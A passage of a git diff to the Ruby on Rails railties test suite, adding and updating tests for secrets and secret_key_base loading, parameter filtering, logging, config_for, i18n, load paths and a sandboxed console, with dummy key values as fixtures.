+ default_verifier = app.message_verifier(:sensitive_value)
+ text_verifier = app.message_verifier(:text)
+
+ message = text_verifier.generate('some_value')
+
+ assert_equal 'some_value', text_verifier.verify(message)
+ assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+ default_verifier.verify(message)
+ end
+
+ assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+ assert_not_equal default_verifier.object_id, text_verifier.object_id
+ end
+
+ test "secrets.secret_key_base is used when config/secrets.yml is present" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "secret_key_base is copied from config to secrets when not set" do
+ remove_file "config/secrets.yml"
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "config.secret_token over-writes a blank secrets.secret_token" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ secret_token:
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.secrets.secret_token
+ assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token
+ end
+
+ test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ aws_access_key_id: myamazonaccesskeyid
+ aws_secret_access_key: myamazonsecretaccesskey
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id
+ assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key
+ end
+
+ test "blank config/secrets.yml does not crash the loading process" do
+ app_file 'config/secrets.yml', <<-YAML
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_nil app.secrets.not_defined
+ end
+
+ test "config.secret_key_base over-writes a blank secrets.secret_key_base" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_key_base = "iaminallyoursecretkeybase"
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_equal "iaminallyoursecretkeybase", app.secrets.secret_key_base
+ end
+
+ test "uses ActiveSupport::LegacyKeyGenerator as app.key_generator when secrets.secret_key_base is blank" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token
+ assert_equal nil, app.secrets.secret_key_base
+ assert_equal app.key_generator.class, ActiveSupport::LegacyKeyGenerator
+ end
+
+ test "uses ActiveSupport::LegacyKeyGenerator with config.secret_token as app.key_generator when secrets.secret_key_base is blank" do
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_token = ""
+ RUBY
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base:
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_equal '', app.config.secret_token
+ assert_equal nil, app.secrets.secret_key_base
+ assert_raise ArgumentError, /\AA secret is required/ do
+ app.key_generator
+ end
+ end
+
test "protect from forgery is the default in a new app" do
make_basic_app
@@ -258,15 +494,56 @@ module ApplicationTests
assert last_response.body =~ /csrf\-param/
end
+ test "default form builder specified as a string" do
+
+ app_file 'config/initializers/form_builder.rb', <<-RUBY
+ class CustomFormBuilder < ActionView::Helpers::FormBuilder
+ def text_field(attribute, *args)
+ label(attribute) + super(attribute, *args)
+ end
+ end
+ Rails.configuration.action_view.default_form_builder = "CustomFormBuilder"
+ RUBY
+
+ app_file 'app/models/post.rb', <<-RUBY
+ class Post
+ include ActiveModel::Model
+ attr_accessor :name
+ end
+ RUBY
+
+
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ApplicationController
+ def index
+ render inline: "<%= begin; form_for(Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ get "/posts"
+ assert_match(/label/, last_response.body)
+ end
+
test "default method for update can be changed" do
app_file 'app/models/post.rb', <<-RUBY
class Post
- extend ActiveModel::Naming
+ include ActiveModel::Model
def to_key; [1]; end
def persisted?; true; end
end
RUBY
+ token = "cf50faa3fe97702ca1ae"
+
app_file 'app/controllers/posts_controller.rb', <<-RUBY
class PostsController < ApplicationController
def show
@@ -276,6 +553,10 @@ module ApplicationTests
def update
render text: "update"
end
+
+ private
+
+ def form_authenticity_token; token; end # stub the authenticy token
end
RUBY
@@ -287,8 +568,6 @@ module ApplicationTests
require "#{app_path}/config/environment"
- token = "cf50faa3fe97702ca1ae"
- PostsController.any_instance.stubs(:form_authenticity_token).returns(token)
params = {authenticity_token: token}
get "/posts/1"
@@ -319,7 +598,7 @@ module ApplicationTests
end
get "/"
- assert last_response.body =~ /_xsrf_token_here/
+ assert_match "_xsrf_token_here", last_response.body
end
test "sets ActionDispatch.test_app" do
@@ -361,6 +640,32 @@ module ApplicationTests
assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
end
+ test "registers preview interceptors with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.preview_interceptors = MyPreviewMailInterceptor
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [::MyPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+ end
+
+ test "registers multiple preview interceptors with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.preview_interceptors = [MyPreviewMailInterceptor, "MyOtherPreviewMailInterceptor"]
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [MyPreviewMailInterceptor, MyOtherPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+ end
+
test "registers observers with ActionMailer" do
add_to_config <<-RUBY
config.action_mailer.observers = MyMailObserver
@@ -390,7 +695,7 @@ module ApplicationTests
test "valid timezone is setup correctly" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.time_zone = "Wellington"
+ config.time_zone = "Wellington"
RUBY
require "#{app_path}/config/environment"
@@ -401,7 +706,7 @@ module ApplicationTests
test "raises when an invalid timezone is defined in the config" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.time_zone = "That big hill over yonder hill"
+ config.time_zone = "That big hill over yonder hill"
RUBY
assert_raise(ArgumentError) do
@@ -412,7 +717,7 @@ module ApplicationTests
test "valid beginning of week is setup correctly" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.beginning_of_week = :wednesday
+ config.beginning_of_week = :wednesday
RUBY
require "#{app_path}/config/environment"
@@ -423,7 +728,7 @@ module ApplicationTests
test "raises when an invalid beginning of week is defined in the config" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.beginning_of_week = :invalid
+ config.beginning_of_week = :invalid
RUBY
assert_raise(ArgumentError) do
@@ -436,7 +741,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading without cache_classes default" do
@@ -444,7 +749,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = false" do
@@ -455,7 +760,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = true" do
@@ -466,7 +771,21 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading with cache_classes in an environment" do
+ build_app(initializers: true)
+ add_to_env_config "development", "config.cache_classes = false"
+
+ # These requires are to emulate an engine loading Action View before the application
+ require 'action_view'
+ require 'action_view/railtie'
+ require 'action_view/base'
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_dispatch.show_exceptions is sent in env" do
@@ -545,6 +864,92 @@ module ApplicationTests
assert_equal 'permitted', last_response.body
end
+ test "config.action_controller.action_on_unpermitted_parameters = :raise" do
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ActionController::Base
+ def create
+ render text: params.require(:post).permit(:name)
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ config.action_controller.action_on_unpermitted_parameters = :raise
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+ post "/posts", {post: {"title" =>"zomg"}}
+ assert_match "We're sorry, but something went wrong", last_response.body
+ end
+
+ test "config.action_controller.always_permitted_parameters are: controller, action by default" do
+ require "#{app_path}/config/environment"
+ assert_equal %w(controller action), ActionController::Parameters.always_permitted_parameters
+ end
+
+ test "config.action_controller.always_permitted_parameters = ['controller', 'action', 'format']" do
+ add_to_config <<-RUBY
+ config.action_controller.always_permitted_parameters = %w( controller action format )
+ RUBY
+ require "#{app_path}/config/environment"
+ assert_equal %w( controller action format ), ActionController::Parameters.always_permitted_parameters
+ end
+
+ test "config.action_controller.always_permitted_parameters = ['controller','action','format'] does not raise exeception" do
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ActionController::Base
+ def create
+ render text: params.permit(post: [:title])
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ config.action_controller.always_permitted_parameters = %w( controller action format )
+ config.action_controller.action_on_unpermitted_parameters = :raise
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+ post "/posts", {post: {"title" =>"zomg"}, format: "json"}
+ assert_equal 200, last_response.status
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do
+ ENV["RAILS_ENV"] = "development"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is :log by default on test" do
+ ENV["RAILS_ENV"] = "test"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is false by default on production" do
+ ENV["RAILS_ENV"] = "production"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
test "config.action_dispatch.ignore_accept_header" do
make_basic_app do |app|
app.config.action_dispatch.ignore_accept_header = true
@@ -600,5 +1005,284 @@ module ApplicationTests
end
end
end
+
+ test "Blank config.log_level is not deprecated for non-production environment" do
+ with_rails_env "development" do
+ assert_not_deprecated do
+ make_basic_app do |app|
+ app.config.log_level = nil
+ end
+ end
+ end
+ end
+
+ test "Blank config.log_level is deprecated for the production environment" do
+ with_rails_env "production" do
+ assert_deprecated(/log_level/) do
+ make_basic_app do |app|
+ app.config.log_level = nil
+ end
+ end
+ end
+ end
+
+ test "Not blank config.log_level is not deprecated for the production environment" do
+ with_rails_env "production" do
+ assert_not_deprecated do
+ make_basic_app do |app|
+ app.config.log_level = :info
+ end
+ end
+ end
+ end
+
+ test "config.log_level with custom logger" do
+ make_basic_app do |app|
+ app.config.logger = Logger.new(STDOUT)
+ app.config.log_level = :info
+ end
+ assert_equal Logger::INFO, Rails.logger.level
+ end
+
+ test "respond_to? accepts include_private" do
+ make_basic_app
+
+ assert_not Rails.configuration.respond_to?(:method_missing)
+ assert Rails.configuration.respond_to?(:method_missing, true)
+ end
+
+ test "config.active_record.dump_schema_after_migration is false on production" do
+ build_app
+ ENV["RAILS_ENV"] = "production"
+
+ require "#{app_path}/config/environment"
+
+ assert_not ActiveRecord::Base.dump_schema_after_migration
+ end
+
+ test "config.active_record.dump_schema_after_migration is true by default on development" do
+ ENV["RAILS_ENV"] = "development"
+
+ require "#{app_path}/config/environment"
+
+ assert ActiveRecord::Base.dump_schema_after_migration
+ end
+
+ test "config.annotations wrapping SourceAnnotationExtractor::Annotation class" do
+ make_basic_app do |app|
+ app.config.annotations.register_extensions("coffee") do |tag|
+ /#\s*(#{tag}):?\s*(.*)$/
+ end
+ end
+
+ assert_not_nil SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+ end
+
+ test "rake_tasks block works at instance level" do
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ config.ran_block = false
+
+ rake_tasks do
+ config.ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_not Rails.configuration.ran_block
+
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+
+ Rails.application.load_tasks
+ assert Rails.configuration.ran_block
+ end
+
+ test "generators block works at instance level" do
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ config.ran_block = false
+
+ generators do
+ config.ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_not Rails.configuration.ran_block
+
+ Rails.application.load_generators
+ assert Rails.configuration.ran_block
+ end
+
+ test "console block works at instance level" do
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ config.ran_block = false
+
+ console do
+ config.ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_not Rails.configuration.ran_block
+
+ Rails.application.load_console
+ assert Rails.configuration.ran_block
+ end
+
+ test "runner block works at instance level" do
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ config.ran_block = false
+
+ runner do
+ config.ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_not Rails.configuration.ran_block
+
+ Rails.application.load_runner
+ assert Rails.configuration.ran_block
+ end
+
+ test "loading the first existing database configuration available" do
+ app_file 'config/environments/development.rb', <<-RUBY
+
+ Rails.application.configure do
+ config.paths.add 'config/database', with: 'config/nonexistent.yml'
+ config.paths['config/database'] << 'config/database.yml'
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_kind_of Hash, Rails.application.config.database_configuration
+ end
+
+ test 'raises with proper error message if no database configuration found' do
+ FileUtils.rm("#{app_path}/config/database.yml")
+ require "#{app_path}/config/environment"
+ err = assert_raises RuntimeError do
+ Rails.application.config.database_configuration
+ end
+ assert_match 'config/database', err.message
+ end
+
+ test 'config.action_mailer.show_previews defaults to true in development' do
+ Rails.env = "development"
+ require "#{app_path}/config/environment"
+
+ assert Rails.application.config.action_mailer.show_previews
+ end
+
+ test 'config.action_mailer.show_previews defaults to false in production' do
+ Rails.env = "production"
+ require "#{app_path}/config/environment"
+
+ assert_equal false, Rails.application.config.action_mailer.show_previews
+ end
+
+ test 'config.action_mailer.show_previews can be set in the configuration file' do
+ Rails.env = "production"
+ add_to_config <<-RUBY
+ config.action_mailer.show_previews = true
+ RUBY
+ require "#{app_path}/config/environment"
+
+ assert_equal true, Rails.application.config.action_mailer.show_previews
+ end
+
+ test "config_for loads custom configuration from yaml files" do
+ app_file 'config/custom.yml', <<-RUBY
+ development:
+ key: 'custom key'
+ RUBY
+
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal 'custom key', Rails.application.config.my_custom_config['key']
+ end
+
+ test "config_for raises an exception if the file does not exist" do
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+
+ exception = assert_raises(RuntimeError) do
+ require "#{app_path}/config/environment"
+ end
+
+ assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message
+ end
+
+ test "config_for without the environment configured returns an empty hash" do
+ app_file 'config/custom.yml', <<-RUBY
+ test:
+ key: 'custom key'
+ RUBY
+
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+ require "#{app_path}/config/environment"
+
+ assert_equal({}, Rails.application.config.my_custom_config)
+ end
+
+ test "config_for with empty file returns an empty hash" do
+ app_file 'config/custom.yml', <<-RUBY
+ RUBY
+
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+ require "#{app_path}/config/environment"
+
+ assert_equal({}, Rails.application.config.my_custom_config)
+ end
+
+ test "config_for containing ERB tags should evaluate" do
+ app_file 'config/custom.yml', <<-RUBY
+ development:
+ key: <%= 'custom key' %>
+ RUBY
+
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+ require "#{app_path}/config/environment"
+
+ assert_equal 'custom key', Rails.application.config.my_custom_config['key']
+ end
+
+ test "config_for with syntax error show a more descritive exception" do
+ app_file 'config/custom.yml', <<-RUBY
+ development:
+ key: foo:
+ RUBY
+
+ add_to_config <<-RUBY
+ config.my_custom_config = config_for('custom')
+ RUBY
+
+ exception = assert_raises(RuntimeError) do
+ require "#{app_path}/config/environment"
+ end
+
+ assert_match 'YAML syntax error occurred while parsing', exception.message
+ end
end
end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
index 3cb3643e3a..31bc003dcb 100644
--- a/railties/test/application/console_test.rb
+++ b/railties/test/application/console_test.rb
@@ -81,18 +81,73 @@ class ConsoleTest < ActiveSupport::TestCase
assert_equal 'Once upon a time in a world...',
helper.truncate('Once upon a time in a world far far away')
end
+end
+
+begin
+ require "pty"
+rescue LoadError
+end
+
+class FullStackConsoleTest < ActiveSupport::TestCase
+ def setup
+ skip "PTY unavailable" unless defined?(PTY) && PTY.respond_to?(:open)
+
+ build_app
+ app_file 'app/models/post.rb', <<-CODE
+ class Post < ActiveRecord::Base
+ end
+ CODE
+ system "#{app_path}/bin/rails runner 'Post.connection.create_table :posts'"
+
+ @master, @slave = PTY.open
+ end
+
+ def teardown
+ teardown_app
+ end
- def test_with_sandbox
- require 'rails/all'
- value = false
+ def assert_output(expected, timeout = 1)
+ timeout = Time.now + timeout
- Class.new(Rails::Railtie) do
- console do |app|
- value = app.sandbox?
+ output = ""
+ until output.include?(expected) || Time.now > timeout
+ if IO.select([@master], [], [], 0.1)
+ output << @master.read(1)
end
end
- load_environment(true)
- assert value
+ assert output.include?(expected), "#{expected.inspect} expected, but got:\n\n#{output}"
+ end
+
+ def write_prompt(command, expected_output = nil)
+ @master.puts command
+ assert_output command
+ assert_output expected_output if expected_output
+ assert_output "> "
+ end
+
+ def spawn_console
+ Process.spawn(
+ "#{app_path}/bin/rails console --sandbox",
+ in: @slave, out: @slave, err: @slave
+ )
+
+ assert_output "> ", 30
+ end
+
+ def test_sandbox
+ spawn_console
+
+ write_prompt "Post.count", "=> 0"
+ write_prompt "Post.create"
+ write_prompt "Post.count", "=> 1"
+ @master.puts "quit"
+
+ spawn_console
+
+ write_prompt "Post.count", "=> 0"
+ write_prompt "Post.transaction { Post.create; raise }"
+ write_prompt "Post.count", "=> 0"
+ @master.puts "quit"
end
end
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
index bc0af499c1..78ada58ec8 100644
--- a/railties/test/application/generators_test.rb
+++ b/railties/test/application/generators_test.rb
@@ -30,7 +30,7 @@ module ApplicationTests
end
test "allow running plugin new generator inside Rails app directory" do
- FileUtils.cd(rails_root){ `ruby script/rails plugin new vendor/plugins/bukkits` }
+ FileUtils.cd(rails_root){ `ruby bin/rails plugin new vendor/plugins/bukkits` }
assert File.exist?(File.join(rails_root, "vendor/plugins/bukkits/test/dummy/config/application.rb"))
end
diff --git a/railties/test/application/initializers/boot_test.rb b/railties/test/application/initializers/boot_test.rb
deleted file mode 100644
index 7eda15894e..0000000000
--- a/railties/test/application/initializers/boot_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
- class BootTest < ActiveSupport::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- # build_app
- # boot_rails
- end
-
- def teardown
- # teardown_app
- end
-
- test "booting rails sets the load paths correctly" do
- # This test is pending reworking the boot process
- end
- end
-end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 40d1655c9b..2d45c9b53f 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -35,13 +35,13 @@ module ApplicationTests
require "#{app_path}/config/environment"
expanded_path = File.expand_path("app/views", app_path)
- assert_equal ActionController::Base.view_paths[0].to_s, expanded_path
- assert_equal ActionMailer::Base.view_paths[0].to_s, expanded_path
+ assert_equal expanded_path, ActionController::Base.view_paths[0].to_s
+ assert_equal expanded_path, ActionMailer::Base.view_paths[0].to_s
end
test "allows me to configure default url options for ActionMailer" do
app_file "config/environments/development.rb", <<-RUBY
- AppTemplate::Application.configure do
+ Rails.application.configure do
config.action_mailer.default_url_options = { :host => "test.rails" }
end
RUBY
@@ -50,25 +50,9 @@ module ApplicationTests
assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
end
- test "uses the default queue for ActionMailer" do
- require "#{app_path}/config/environment"
- assert_kind_of ActiveSupport::Queue, ActionMailer::Base.queue
- end
-
- test "allows me to configure queue for ActionMailer" do
- app_file "config/environments/development.rb", <<-RUBY
- AppTemplate::Application.configure do
- config.action_mailer.queue = ActiveSupport::TestQueue.new
- end
- RUBY
-
- require "#{app_path}/config/environment"
- assert_kind_of ActiveSupport::TestQueue, ActionMailer::Base.queue
- end
-
- test "does not include url helpers as action methods" do
+ test "includes url helpers as action methods" do
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
end
RUBY
@@ -82,8 +66,8 @@ module ApplicationTests
require "#{app_path}/config/environment"
assert Foo.method_defined?(:foo_path)
+ assert Foo.method_defined?(:foo_url)
assert Foo.method_defined?(:main_app)
- assert_equal Set.new(["notify"]), Foo.action_methods
end
test "allows to not load all helpers for controllers" do
@@ -131,7 +115,7 @@ module ApplicationTests
RUBY
app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get "/:controller(/:action)"
end
RUBY
@@ -198,7 +182,7 @@ module ApplicationTests
end
require "#{app_path}/config/environment"
ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
- assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ assert ActiveRecord::Base.connection.schema_cache.tables("posts")
end
test "expire schema cache dump" do
@@ -208,7 +192,7 @@ module ApplicationTests
end
silence_warnings {
require "#{app_path}/config/environment"
- assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ assert !ActiveRecord::Base.connection.schema_cache.tables("posts")
}
end
@@ -233,7 +217,7 @@ module ApplicationTests
orig_database_url = ENV.delete("DATABASE_URL")
orig_rails_env, Rails.env = Rails.env, 'development'
database_url_db_name = "db/database_url_db.sqlite3"
- ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
ActiveRecord::Base.establish_connection
assert ActiveRecord::Base.connection
assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 489b7ddb92..9ee54796a4 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -45,7 +45,7 @@ module ApplicationTests
end
# Load paths
- test "no config locales dir present should return empty load path" do
+ test "no config locales directory present should return empty load path" do
FileUtils.rm_rf "#{app_path}/config/locales"
load_app
assert_equal [], Rails.application.config.i18n.load_path
@@ -84,7 +84,7 @@ en:
RUBY
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/i18n', :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
end
RUBY
@@ -108,7 +108,7 @@ en:
YAML
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/i18n', :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
end
RUBY
@@ -183,5 +183,34 @@ en:
load_app
assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
end
+
+ test "disable config.i18n.enforce_available_locales" do
+ add_to_config <<-RUBY
+ config.i18n.enforce_available_locales = false
+ config.i18n.default_locale = :fr
+ RUBY
+
+ load_app
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
+
+ test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+ I18n.enforce_available_locales = false
+
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :fr
+ RUBY
+
+ load_app
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
end
end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index 31811e7f92..cd05956356 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -23,7 +23,7 @@ module ApplicationTests
assert $:.include?("#{app_path}/app/models")
end
- test "initializing an application allows to load code on lib path inside application class definitation" do
+ test "initializing an application allows to load code on lib path inside application class definition" do
app_file "lib/foo.rb", <<-RUBY
module Foo; end
RUBY
@@ -71,10 +71,25 @@ module ApplicationTests
assert Zoo
end
+ test "eager loading accepts Pathnames" do
+ app_file "lib/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.eager_load = true
+ config.eager_load_paths << Pathname.new("#{app_path}/lib")
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert Foo
+ end
+
test "load environment with global" do
+ $initialize_test_set_from_env = nil
app_file "config/environments/development.rb", <<-RUBY
$initialize_test_set_from_env = 'success'
- AppTemplate::Application.configure do
+ Rails.application.configure do
config.cache_classes = true
config.time_zone = "Brasilia"
end
@@ -88,8 +103,8 @@ module ApplicationTests
require "#{app_path}/config/environment"
assert_equal "success", $initialize_test_set_from_env
- assert AppTemplate::Application.config.cache_classes
- assert_equal "Brasilia", AppTemplate::Application.config.time_zone
+ assert Rails.application.config.cache_classes
+ assert_equal "Brasilia", Rails.application.config.time_zone
end
end
end
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index baae6fd928..95655b74cf 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -39,5 +39,18 @@ module ApplicationTests
assert_equal 1, logger.logged(:debug).size
assert_match(/SHOW tables/, logger.logged(:debug).last)
end
+
+ test 'rails load_config_initializer event is instrumented' do
+ app_file 'config/initializers/foo.rb', ''
+
+ events = []
+ callback = ->(*_) { events << _ }
+ ActiveSupport::Notifications.subscribed(callback, 'load_config_initializer.railties') do
+ app
+ end
+
+ assert_equal %w[load_config_initializer.railties], events.map(&:first)
+ assert_includes events.first.last[:initializer], 'config/initializers/foo.rb'
+ end
end
end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index ad7172c514..4f30f30f95 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -36,7 +36,7 @@ class LoadingTest < ActiveSupport::TestCase
test "models without table do not panic on scope definitions when loaded" do
app_file "app/models/user.rb", <<-MODEL
class User < ActiveRecord::Base
- default_scope where(published: true)
+ default_scope { where(published: true) }
end
MODEL
@@ -48,7 +48,7 @@ class LoadingTest < ActiveSupport::TestCase
test "load config/environments/environment before Bootstrap initializers" do
app_file "config/environments/development.rb", <<-RUBY
- AppTemplate::Application.configure do
+ Rails.application.configure do
config.development_environment_loaded = true
end
RUBY
@@ -60,7 +60,7 @@ class LoadingTest < ActiveSupport::TestCase
RUBY
require "#{app_path}/config/environment"
- assert ::AppTemplate::Application.config.loaded
+ assert ::Rails.application.config.loaded
end
test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
@@ -75,7 +75,7 @@ class LoadingTest < ActiveSupport::TestCase
MODEL
app_file 'config/routes.rb', <<-RUBY
- AppTemplate::Application.routes.draw do
+ Rails.application.routes.draw do
get '/load', to: lambda { |env| [200, {}, Post.all] }
get '/unload', to: lambda { |env| [200, {}, []] }
end
@@ -96,7 +96,7 @@ class LoadingTest < ActiveSupport::TestCase
test "initialize cant be called twice" do
require "#{app_path}/config/environment"
- assert_raise(RuntimeError) { ::AppTemplate::Application.initialize! }
+ assert_raise(RuntimeError) { Rails.application.initialize! }
end
test "reload constants on development" do
@@ -105,7 +105,7 @@ class LoadingTest < ActiveSupport::TestCase
RUBY
